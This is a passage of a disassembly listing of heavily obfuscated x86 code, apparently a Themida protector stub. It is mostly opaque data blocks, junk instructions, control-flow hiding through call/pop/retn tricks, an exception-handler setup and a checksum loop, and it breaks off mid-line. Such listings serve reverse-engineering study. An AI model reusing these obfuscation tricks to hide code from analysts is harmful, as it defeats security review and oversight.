--------------------------------------------------------------------------- jns short loc_58BEF8 push edi lodsd sbb bl, 8Bh popf pop ecx push ss or eax, [esi] mov edi, [ebp+60B2E59h] jmp loc_58B38A ; --------------------------------------------------------------------------- mov [ebp+60B059Dh], edi mov eax, ecx adc edi, 54C01BD4h lea eax, [ebp+60B28A9h] xor [ebp+60B1661h], ebx nop mov di, ax push eax mov ebx, esi nop mov [ebp+60B2175h], edi push 0 mov [ebp+60B26C9h], ebx push 0 push 0 push edx call sub_58BF60 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BF60 proc near ; CODE XREF: Themida_:0058BF58p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_58BF60 endp ; --------------------------------------------------------------------------- dd 108B9368h, 8E858Dh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0FC7161C3h, 0FBF1424h dd 833FF8B3h, 958905C0h, 60B1A4Dh, 50525090h, 14E952h dd 0D2710000h, 0F6B40F18h, 0A860A957h, 4E382E5h, 0BE97E67Eh dd 310F330Eh, 6C3345BBh, 0F585A1Ah, 5E931h, 6BD30000h dd 5A10DFE4h, 14E85058h, 0A2000000h, 0D1A6C9C9h, 0B51A5711h dd 0CEAE810Ah, 47E32E9h, 0E9BABE2Bh, 9, 0A922CC39h, 0A13BD485h dd 60905FE1h, 29D99533h, 0F080060Bh, 6A61D9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DEC35646h, 772C5AB7h dd 198D8900h, 6A060B11h, 69B58900h, 0FF060B17h, 0B2F2195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 1C5BD5A1h, 33519D29h, 0D98B060Bh, 0A7B08D8Dh dd 6A060Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0FF841C3h, 8Fh, 6AD1FF00h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 10AC353h dd 9D9D799Ch, 161FC099h, 11E8h, 75F39F00h, 4038A100h, 0A24645F2h dd 645E263Ah, 0F78198B6h, 63B7CA5Bh, 19BD835Bh, 1060B0Bh dd 48850Fh, 26A0000h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0EAC35141h, 5060500Dh, 0F88B6652h, 8B66310Fh dd 61585AF8h, 8B240489h, 0B3301BDh, 1595FF06h, 89060B0Fh dd 0B07B58Dh, 2606BB06h, 7BE97D43h, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6100098h jmp loc_58C14F ; --------------------------------------------------------------------------- dd 0B079599Fh ; --------------------------------------------------------------------------- stc cli xchg eax, ecx loc_58C14F: ; CODE XREF: Themida_:0058C143j push 0 push edx call sub_58C15A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C15A proc near ; CODE XREF: Themida_:0058C152p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_58C15A endp ; --------------------------------------------------------------------------- scasb mov eax, 0CD98D89h or eax, [esi] lea eax, [ebp+60E9293h] clc push eax mov ebx, edi mov [esp], eax mov [ebp+60B166Dh], eax push large dword ptr fs:0 mov [ebp+60B2F41h], edi mov large fs:0, esp push 0 push ecx call sub_58C1A4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C1A4 proc near ; CODE XREF: Themida_:0058C19Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_58C1A4 endp ; --------------------------------------------------------------------------- dd 0DF749EF1h, 0A67011E0h, 229BD0Bh, 85FF060Bh, 60B066Dh dd 6AD88B66h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0BF12FC17h, 4FBCBB4Ah, 800F35C0h dd 6, 5799D0Bh, 0B5FF060Bh, 60B0FD5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 3DC35141h, 0BF217022h, 0DCDB6E6h dd 29F59D8Bh, 95FF060Bh, 60B2411h, 118E9h, 0C59D2900h dd 0B0060B28h, 2BBF6600h, 0D99D09BDh, 0E6060B29h, 0EE870h dd 8D530000h, 19FD3F59h, 0C72B3BB6h, 606A9178h, 0F98D8B60h dd 0F060B02h, 5F61CFBFh, 613C71E4h, 0DB830Fh, 0D5BB0000h dd 0F33BF8Fh, 0B70FC8B6h, 6BAF8h, 0B5890000h, 60B244Dh dd 13E9C18Bh, 12000000h, 4B5C0429h, 0F0DB92C3h, 39B10DB2h dd 0B3B0D307h, 0E8C129DFh, 7E904h, 0F63A0000h, 8FD7DE8Dh dd 0E2F7664Ah, 9D09C82Bh, 60B050Dh, 8B66D18Bh, 87E9DFh dd 13E90000h, 20000000h, 0F71171DCh, 0F48C641Ch, 0FB6B08D4h dd 74A41BC4h, 858B2A9Dh, 44004E49h, 1B8FCF81h, 0C08301CFh dd 7E907h, 21700000h, 0E95150BEh, 0C083C3h, 3BBFCB80h dd 9830FD0h, 60000000h, 0E961D88Bh, 3Dh, 0FFFF8D8Bh, 860FFFFFh dd 6, 1505BD8Bh, 0E183060Bh, 22840F01h, 89000000h, 0B2B3595h dd 0FFA58306h, 0FEFFFFFFh, 2E59BD8Bh, 9589060Bh, 44004E49h dd 740ABF66h, 0E9h, 25B58D00h, 1060F7Eh, 0B0DCDBDh, 66006A06h dd 0F921E781h, 32DD95FFh, 9D89060Bh, 60B0F51h, 1054B9h dd 0FCE18300h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 18C35646h, 2FDB7FD8h, 602617A5h, 13158D8Bh, 8961060Bh dd 0B2F099Dh, 6AFC06h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 783869C3h, 22A99D8Bh, 0F98B060Bh dd 9589C02Bh, 60B1B55h, 0BAh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0DBE3E7E8h dd 8B6D62C3h, 0B22A1BDh, 0C233AD06h, 0D003E8D1h, 7504E983h dd 0FAF381F4h, 3635D8Bh, 0B03D5BDh, 880D06h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0A18243C3h, 810F392Ah, 6, 2779B589h, 958B060Bh, 60B174Dh dd 26D9BD23h, 8D8B060Bh, 60B0119h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 99C35242h, 0E2251AE7h, 9D8B0AFEh dd 60B2175h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 884B33C3h, 4800Fh, 0BB660000h, 6A6BE7h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0F89CCAC3h, 0BF0F727Eh, 0E9BD2BDBh, 83060B00h, 0B29BDBDh dd 840F0006h, 0ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 87C35242h, 0D650C75h, 111E629Ah, 0B8A6h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 8B6602C3h, 0D78D8DFEh, 6A060B4Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 3F67C355h, 52E578FBh, 6060BF36h, 8E0Fh, 0E8810000h dd 0EFFC08Ah, 850F6161h, 3, 0E8FEB70Fh, 0Eh, 9CF85A6Bh dd 1EAC7286h, 172320BBh, 0F3816C84h, 25E37652h, 0FE1FF5Fh dd 8Eh, 9BD8300h, 60B10h, 4B4840Fh, 0FF90000h, 0BD83DFB7h dd 60B1009h, 0BE840F01h, 6A000004h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E8AFC350h dd 2AE38166h, 9BD83C9h, 3060B10h, 459860Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 331C3DC3h, 0B2935BDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0F89873C3h, 0D258EE4Ah dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0AD81C351h, 36AEF9BCh, 816603A3h dd 804E72D7h, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 5BE4A7C3h, 1A85BD89h, 0C90A060Bh dd 13B840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 8E44FAC3h, 98E090CFh, 858B24DFh dd 60B317Dh, 85335B56h, 60B06EDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 60C35040h, 0EF1CF025h, 4173E162h dd 698D8960h, 89060B13h, 0B1A0995h, 50906106h, 9E852h dd 0F5D70000h, 0F53628ADh, 520001C6h, 310F5B5Bh, 5325BF66h dd 5750585Ah, 905B5F56h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 67C4F7C3h, 0D98AD4AEh dd 35BD89E8h, 68060B09h, 29D0F1B1h, 12E8h, 8F172400h, 7662828Ah dd 0FED33537h, 1FE9E589h, 0E8B0D299h, 11h, 0FBA50BDDh dd 0ECD2FD4Eh, 0C3290B61h, 3F4C4EA8h, 8A0FB6h, 5B000000h dd 2434815Fh, 29CFF24Eh, 66D9BF0Fh, 0FF1331BBh, 0B03D195h dd 0FFB70F06h, 0A81D8589h, 6A060Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E32C66C3h dd 38FDEC8Eh, 0CB81662Ch, 0EAE9E2B7h, 89000001h, 0B0139B5h dd 15858B06h, 66060EA8h, 7086C781h, 1800C7h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0FB9FAC3h, 187h, 0B58BF900h, 60EA819h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0D0C35747h, 7A8F87C7h dd 0B8DC5998h, 68B0F27h, 29000000h, 0B2AAD95h, 0E1858B06h dd 6A060B06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0EFAFC353h, 3EAA87Fh, 0B0E69BDh dd 0F068906h, 689h, 35958900h, 8B060B20h, 0B317D85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 895A55F1h, 0B2AE1BDh, 11850106h, 89060B19h, 6A0446h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 33AD8EC3h, 97D6F9D4h, 8198589h, 6051060Bh, 7E9EB8Ah dd 78000000h, 0E56EDFC2h, 5F61FCC8h, 0D08B6096h, 4870Fh dd 0BB660000h, 506119E7h, 86DCBB66h, 52006A96h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 1AAB0AD7h dd 0B5FF12A1h, 60EA815h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 84C35747h, 4E8276Bh, 0FF000000h, 0BB001F03h dd 78853F77h, 24448B50h, 8BF98A04h, 87BF6600h, 244489C7h dd 0F88B6604h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0B2993FD5h, 0F20C8C7Ch dd 1D858DFCh, 90060EA8h, 0FA8B6652h, 10E8505Bh, 28000000h dd 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 66F992C9h, 5F59D1BFh dd 0D195FF90h, 8B060B03h, 0BD0B61FBh dd 60B2B59h, 100985C7h, 3060Bh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0C2B1D4C3h dd 874DF11Eh, 2B91BFD5h, 8960793Ch, 0B2819BDh, 85850B06h dd 61060B09h, 0A81DBD83h, 0F00060Eh, 4684h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0D3816C14h, 18092C28h, 39E9h, 188A0F00h, 0E9000000h dd 13h, 5F92BFAAh, 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h, 509137F2h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 90EF3AC3h, 6684ACC0h, 0E27FC381h, 1009BD83h dd 0F03060Bh, 4B785h, 1DBD8300h, 60EA8h, 4AA840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 64116CC3h, 31B7BB23h, 0A81DB5FFh, 6A060Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FFA8DAC3h dd 69A9BE38h, 0BD8951F9h, 60B2445h, 338DBD8Bh, 95FF060Bh dd 60B083Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 23C35747h, 36755144h, 8B19C8F8h, 6E956h, 0E6980000h dd 67661CD9h, 0A811B58Bh, 6C7060Eh, 10001h, 31299589h dd 5350060Bh, 3830Fh, 8B660000h, 34895BF9h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BDD428Ch, 0B271DBDh, 0E5B58906h, 0FF060B02h, 0EA81DB5h dd 9E806h, 0A6E40000h, 0A800A606h, 0FC62D85h, 68Bh, 0B5BD0B00h dd 5B060B04h, 64195FFh, 0D98B060Bh, 0A811B58Bh, 960060Eh dd 0B1AC59Dh, 14E906h, 51E90000h, 60F58060h, 0FFDEA504h dd 0E4A9035Eh, 0E9AEE235h, 8B6120D2h, 0B121D85h, 0ACF8006h dd 0C48689h, 0C6BB0000h, 0E8256F66h, 8, 0BD0E609Fh, 667F4DF9h dd 0B553BF66h, 4D958B5Bh, 6A060B17h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 5ACDC357h dd 570D500Ah, 8B663866h, 0DAB70FD9h, 6A04C283h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0EF25C352h, 66205089h, 858DD98Bh, 60EBAEEh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 35C35141h, 54B1EE95h dd 0E261C565h, 0D7816622h, 9D8B45E6h, 60B13E1h, 0B88689h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 3EF097C3h, 29DDBD8Bh, 9D23060Bh, 60B1815h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0B5073BC3h, 339D9D0Bh, 8B66060Bh, 1DB5FFF8h dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0D8E5C355h, 2060B142h, 6E95Eh dd 39A50000h, 0C76CE2D3h, 0F1595FFh, 0B589060Bh, 60B32B9h dd 0DE8B6696h, 0EE96050h, 0B0000000h, 59B3CA29h, 527617B5h dd 9BEA95A9h, 0E9966180h, 0Bh, 4A2D81FBh, 48E5EE81h, 0F0FFDADh dd 84h, 1DB5FF00h, 0BB060EA8h, 79B5E5D1h, 6E78166h, 0F595FFF0h dd 6A060B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0FA35C352h, 800534A5h, 66DDE8E0h dd 0BD83F88Bh, 60B2191h, 47840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0C5FFC351h, 2729BD8Bh, 8B96060Bh, 0AABB50DAh, 9652C870h dd 13E9h, 7456B500h, 3D422C97h, 2A5613F3h, 67B69D28h, 0CD2E5F20h dd 0B5FFAFB7h, 60EA81Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0F2C35040h, 8B66C5D1h, 0F5BD8BF9h, 0FF060B14h dd 0B128195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0AEE13742h, 0F45466Eh, 68Dh, 1D958900h dd 3060B0Fh, 0B1771BDh, 1DB5FF06h, 6A060EA8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 7EC5C355h, 665396B5h, 0BF66F98Bh, 95FFEA50h, 60B0B8Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EBC35646h dd 2419AB1Fh, 9D8B6E53h, 60B1021h, 0B95BD8Bh, 0BD83060Bh dd 60B17F1h, 91840F02h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B57DC357h dd 0C0BB7ED3h, 0BE9E1E1h, 0A2000000h, 0D0FD14BAh, 871FB789h dd 858B2997h, 60B2EC5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 69C35040h, 8F4953D5h, 0F0AB18Ch, 0C6DBB7h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 1E4E0A60h, 0AC5A3765h, 68D0Fh, 8D290000h dd 60B0CD9h, 6B985C7h, 60Bh, 0B5890000h, 60B0965h, 0FFF23EE9h dd 91B589FFh, 8B060B0Eh, 51006AC1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 858D7777h, 60B28A9h, 810Fh dd 50500000h, 0F46B352h, 89585A31h, 8A0F2404h, 2, 6AF88Ah dd 6E9h, 0DF5B4E00h, 6A611F01h, 1A810F00h, 0E8000000h dd 0Eh, 414CB8EBh, 2E607F77h, 0A67D2C48h, 8D898E8Dh, 60B2D89h dd 94858D5Bh, 6A061010h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 535DC351h, 7E8h, 5F3EB700h dd 0B5B9AFCh, 835F5F50h, 8E805C0h, 5D000000h, 0AF3C5C47h dd 0E97AD82Dh, 6, 0DD7E1DE3h, 905B3515h, 0B13BBF57h, 505F5453h dd 23C7BF66h, 6DBD8B90h, 6A060B22h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 6AD7C5EBh dd 3870F00h, 66000000h, 850FDF8Bh, 6, 100D8589h, 95FF060Bh dd 60B2F21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 55C35747h, 0A8C0FFEh, 0E9000000h, 5, 95D3DA3Fh dd 0B08D8D9Ch, 6A060EA7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0FFDCC355h, 619589D1h dd 83060B27h, 0B0B19BDh, 850F0106h, 34h, 17CD9D89h, 26A060Bh dd 90DE8B66h, 0E950DE8Ah, 13h, 0D37EBBFCh, 0AE768BF9h dd 648C7435h, 577173Ch, 90E90BA1h, 1599BD29h, 95FF060Bh dd 60B0F15h, 0E66E9h, 0E800h, 815D0000h, 10109EEDh, 0D19D3106h dd 6A060B2Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 8459C357h, 0E78166BEh, 858D6860h dd 60E9293h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0D0C35141h, 90A55E49h, 0DD4941E6h, 0F81B786h, 0F50F9BFh dd 585h, 9072BB00h, 4893989h, 0FA8B6624h dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0BB6BC357h, 89AE3DBFh dd 0B08D58Dh, 25896406h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_58D1F3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D1F3 proc near ; CODE XREF: Themida_:0058D1EBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_58D1F3 endp ; --------------------------------------------------------------------------- db 58h dd 858965E8h, 60B0011h, 66D85FFh, 8B66060Bh, 0BFFF6ADAh dd 0DA777ADh, 0DA5B5FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 8CA6BAC3h, 7195463Eh dd 9529C8C8h, 60B0415h, 241195FFh, 0E9060Bh, 0F000001h dd 68Ah, 840F00h, 0B0000000h, 29BD0300h, 0E6060B02h, 8DBD8B70h dd 0E4060B18h, 0F9BD8B71h, 3C060B00h, 0D4830F61h, 8B000000h dd 0C8B60FFBh, 5219D09h, 0B589060Bh, 60B2AADh, 6BAh, 759D8B00h dd 8B060B10h, 0CCC780C1h, 0FC04E8C1h, 0E2F766F8h, 0FC8FABBh dd 0DE9530Fh, 0E7000000h, 0A6D9C003h, 31F21421h, 9A29E047h dd 0BFC82B5Bh, 59A79F99h, 8A0FD18Bh, 3, 0E9F2F780h, 7Bh dd 38D0Fh, 8B660000h, 4C858BDFh, 8B505F4Ch, 7C083FBh, 0DDD9529h dd 0C083060Bh, 0EDBD8900h, 3B060B2Eh, 10830FD0h, 0BB000000h dd 2E5E8343h, 46E9h, 3D9D2B00h, 8B060B16h, 0FFFFFF8Dh dd 9D9D8BFFh, 83060B06h, 840F01E1h, 2Bh, 0FFFFA583h, 0E8FEFFFFh dd 0Dh, 87898024h, 5DED00D1h, 9EACF2F1h, 71953149h, 5B060B15h dd 4C4C9589h, 0E9505Fh, 8D000000h, 0F8E79B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 3188BA2Eh, 0B3301BDh, 71BD8B06h, 6A060B28h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 4FEF7F0Ch, 6784F0BDh, 127D9D89h, 95FF060Bh, 60B32DDh dd 0B9E1CB80h, 1075h, 29A18D31h, 0E183060Bh, 69B589FCh dd 0FC060B11h, 41B50160h, 66060B0Fh, 61EF10B8h, 0B8FB8B66h dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_58D3EF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D3EF proc near ; CODE XREF: Themida_:0058D3E7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_58D3EF endp ; --------------------------------------------------------------------------- push esi sub [eax-75h], dl fistp word ptr [ebx+2Bh] popf jnz short near ptr loc_58D41A+2 or eax, [esi] mov edx, 0 adc bh, 17h loc_58D413: ; CODE XREF: Themida_:0058D41Dj lodsd xor eax, edx shr eax, 1 add edx, eax loc_58D41A: ; CODE XREF: Themida_:0058D407j sub ecx, 4 jnz short loc_58D413 push 0 push esi call sub_58D42A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D42A proc near ; CODE XREF: Themida_:0058D422p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_58D42A endp ; --------------------------------------------------------------------------- dw 7143h ; --------------------------------------------------------------------------- push 0 push ecx call sub_58D447 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D447 proc near ; CODE XREF: Themida_:0058D43Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_58D447 endp ; --------------------------------------------------------------------------- db 41h dd 99EE8D86h, 89CE8033h, 0B0531B5h, 880D06h, 81660000h dd 0FE251EBh, 1587h, 9E800h, 0CC820000h, 0AABB58FDh, 811D6B6Ah dd 7DED36DFh, 958B5F45h, 60B174Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 36C35343h, 0FF90E64h, 8D8BDAB7h dd 60B0119h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0F2C35040h, 2449B589h, 0CB81060Bh, 76407ADCh, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 13E95818h, 0DF000000h dd 0C51A07FAh, 29079FA0h, 85F945A7h, 0B3B601E4h, 0BD8B9505h dd 60B30E5h, 29BDBD83h, 0F00060Bh, 0A284h, 11E86000h, 0A0000000h dd 2E6C1BCCh, 21CA87DCh, 93693310h, 0FB1F3BBAh, 20E5BD01h dd 895B060Bh, 0B20259Dh, 0D3816106h, 313282B7h, 0B8h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0FEB64227h, 0CFDF8166h, 0D78D8D22h, 66060B4Dh, 0A5C0DF81h dd 6850Fh, 0BD8B0000h, 60B0DC1h, 6AE1FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9F6C9AC3h dd 0C88E2773h, 0FF5D4DFh, 489h, 4DB75100h, 0C99D8B5Bh dd 83060B29h, 0B1009BDh, 840F0006h, 4DDh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 16h, 48C35646h, 8166DDF2h dd 0F95A6CF7h, 134D9D8Bh, 0BD83060Bh, 60B1009h, 0C1840F01h dd 89000004h, 0B20F585h, 0DF8B6606h, 1009BD83h, 0F03060Bh dd 47586h, 9C06BF00h, 6A605BB1h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0D704C357h, 0A1C1CFA5h dd 0DEB70FAFh, 6AD98C66h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 1F79C350h, 26F0AF29h dd 0E9FF1914h, 5, 133577C7h, 4E180B0h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 2DC35646h, 5D3C0A1Eh, 89DBB90Ah dd 0B0AD58Dh, 0FC90A06h, 11A84h, 7E900h, 0B4A70000h, 0BC2D8BAEh dd 11958979h, 8B060B09h, 0B317D85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0F5CB3FF7h dd 66F20339h, 9589FE8Bh, 60B2F35h, 6ED8533h, 6A060Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 88F9BEC3h, 7C28C3A9h, 1C1EBB50h, 48937E9h, 44D38124h dd 6A049B5Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 234A3755h, 91BC8581h, 8E9C6h, 1FCF0000h dd 4969592Fh, 0A8683535h, 53D092A1h, 815FD98Bh, 62572404h dd 6A2F8Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0FFE3F8C3h, 0B03D195h, 0CDBD8B06h, 89060B19h dd 0EA81D85h, 13E906h, 0BBA30000h, 0A5766037h, 3E6F9F78h dd 0D27B6747h, 3F409BAAh, 253E99Ah, 7E80000h, 36000000h dd 0BEC6C8CFh, 0BF668E2Fh, 8B5BE204h, 0EA81585h, 0C7FB8B06h dd 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 85D1327Ah, 5FB73C4Ch, 0A819B58Bh dd 0BD8B060Eh, 60B31A1h, 6E1858Bh, 9589060Bh, 60B06F1h dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 5845E4C3h, 7D858B73h, 6A060B31h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0EC34C352h, 0D8456483h, 299D2322h, 89060B02h, 6A0446h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 35171AC3h, 38B032B3h, 8B5660E9h, 0B1745B5h, 59525E06h dd 40BB5061h, 892409A6h, 6A2434h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 654EF3C3h, 14CB4027h dd 8F0F916Ch, 0Eh, 8F0F60h, 8B000000h, 0B1BA1B5h, 89606106h dd 0B177D95h, 97F18106h, 61638476h, 0A815B5FFh, 0CE9060Eh dd 0EE000000h, 0AEC7B193h, 71642F74h, 0F2E23E9h, 1F8Ch dd 13E800h, 90160000h, 0C7E8AA01h, 9A57912Fh, 1C2B3264h dd 71D24058h, 19BD8B8Fh, 5B060B0Dh, 3D1DFA68h, 81FE8AC6h dd 0E6052404h, 6A39E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0F9581BC3h, 0A81D858Dh, 6A060Eh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 8F98B0C3h, 0C6EAAE65h, 9D89F448h, 60B29F1h, 10E9h, 311A5B00h dd 547F0BFFh, 273C141Bh, 0B600B4F1h, 0C9D380ACh, 9E890h dd 0DE690000h, 431D261Bh, 5710414Fh, 5FDF8B66h, 0BB66505Fh dd 6A901256h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 11EEC350h, 5BD03FD6h, 12B9BD89h dd 95FF060Bh, 60B03D1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0ECC35141h, 0A67F8D51h, 